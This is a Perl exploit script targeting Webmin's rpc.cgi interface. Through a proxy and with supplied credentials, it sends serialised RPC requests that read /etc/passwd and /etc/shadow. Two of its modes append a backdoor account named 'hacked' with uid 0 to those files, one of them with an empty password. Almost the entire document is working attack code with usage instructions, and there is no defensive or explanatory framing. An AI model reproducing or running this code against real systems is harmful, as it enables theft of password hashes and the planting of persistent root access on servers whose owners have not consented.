#!/usr/bin/perl
# urlize
# Convert a string to a form ok for putting in a URL
sub urlize {
  local $rv = $_[0];
  $rv =~ s/([^A-Za-z0-9])/sprintf("%%%2.2X", ord($1))/ge;
  return $rv;

}

# un_urlize(string)
# Converts a URL-encoded string to the original
sub un_urlize
{
local $rv = $_[0];
$rv =~ s/\+/ /g;
$rv =~ s/%(..)/pack("c",hex($1))/ge;
return $rv;
}

# serialise_variable(variable)
# Converts some variable (maybe a scalar, hash ref, array ref or scalar ref)
# into a url-encoded string
sub serialise_variable
{
if (!defined($_[0])) {
        return 'UNDEF';
        }
local $r = ref($_[0]);
local $rv;
if (!$r) {
        $rv = &urlize($_[0]);
        }
elsif ($r eq 'SCALAR') {
        $rv = &urlize(${$_[0]});
        }
elsif ($r eq 'ARRAY') {
        $rv = join(",", map { &urlize(&serialise_variable($_)) } @{$_[0]});
        }
elsif ($r eq 'HASH') {
        $rv = join(",", map { &urlize(&serialise_variable($_)).",".
                              &urlize(&serialise_variable($_[0]->{$_})) }
                            keys %{$_[0]});
        }
elsif ($r eq 'REF') {
        $rv = &serialise_variable(${$_[0]});
        }
return ($r ? $r : 'VAL').",".$rv;
}

# unserialise_variable(string)
# Converts a string created by serialise_variable() back into the original
# scalar, hash ref, array ref or scalar ref.
sub unserialise_variable
{
local @v = split(/,/, $_[0]);
local ($rv, $i);
if ($v[0] eq 'VAL') {
        $rv = &un_urlize($v[1]);
        }
elsif ($v[0] eq 'SCALAR') {
        local $r = &un_urlize($v[1]);
        $rv = \$r;
        }
elsif ($v[0] eq 'ARRAY') {
        $rv = [ ];
        for($i=1; $i<@v; $i++) {
                push(@$rv, &unserialise_variable(&un_urlize($v[$i])));
                }
        }
elsif ($v[0] eq 'HASH') {
        $rv = { };
        for($i=1; $i<@v; $i+=2) {
                $rv->{&unserialise_variable(&un_urlize($v[$i]))} =
                        &unserialise_variable(&un_urlize($v[$i+1]));
                }
        }
elsif ($v[0] eq 'REF') {
        local $r = &unserialise_variable($v[1]);
        $rv = \$r;
        }
elsif ($v[0] eq 'UNDEF') {
        $rv = undef;
        }
return $rv;
}

# encode_base64(string)
# Encodes a string into base64 format
sub encode_base64
{
    local $res;
    pos($_[0]) = 0; # ensure start at the beginning
    while ($_[0] =~ /(.{1,45})/gs) {
        $res .= substr(pack('u', $1), 1)."\n";
        chop($res);
    }
    $res =~ tr|\` -_|AA-Za-z0-9+/|;
    local $padding = (3 - length($_[0]) % 3) % 3;
    $res =~ s/.{$padding}$/'=' x $padding/e if ($padding);
    return $res;
}

use Socket;
if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP remotePort username password command_interface
command interface should equal one of these:
1 - read file /etc/passwd
2 - read file /etc/shadow
3 - insert into file /etc/passwd (\"hacked:x:0:0:root:/root:/bin/bash\")
4 - insert into file /etc/shadow (\"hacked::0:99999:7:-1:-1:134538548\")
";}

$username = $ARGV[4];
$password = $ARGV[5];

$proxyPort = $ARGV[1];
$proxyIP = $ARGV[0];

$remoteIP = $ARGV[2];
$remotePort = $ARGV[3];
$command_interface = $ARGV[6];

$target = inet_aton($proxyIP);
$paddr = sockaddr_in($proxyPort, $target);

print "Connecting to: $proxyIP:$proxyPort, with the following user: $username and password: $password. Hacking server: 
$remoteIP:$remotePort\n";

$auth = &encode_base64("$username:$password");
$auth =~ s/\n//g;

if (($command_interface eq 1) || ($command_interface eq 3))
{
 $d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0"};
}
if (($command_interface eq 2) || ($command_interface eq 4))
{
 $d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0"};
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
 if (($found == 1) || (/^\r\n/))
 {
  if ($found == 0)
  {
   $found = 1;
  }
  else
  {
   $in = join ("", $in, $_);
  }
 }
}
select(STDOUT);

print "Raw:\n---\n$in\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, "\n---\n";

close(S);

if ($command_interface eq 3)
{
 $d = { 'action' => 'write', 'data'=>join("", unserialise_variable($in)->{'rv'}, "hacked:x:0:0:root:/root:/bin/bash\n"), 'file' => 
"/etc/passwd", 'session' => "0"};
}
if ($command_interface eq 4)
{
 $d = { 'action' => 'write', 'data'=>join("", unserialise_variable($in)->{'rv'}, "hacked::0:99999:7:-1:-1:134538548\n"), 'file' => 
"/etc/shadow", 'session' => "0"};
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
 if (($found == 1) || (/^\r\n/))
 {
  if ($found == 0)
  {
   $found = 1;
  }
  else
  {
   $in = join ("", $in, $_);
  }
 }
}

select(STDOUT);

print "Raw:\n---\n$in\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, "\n---\n";

close(S);

# --- EOF ---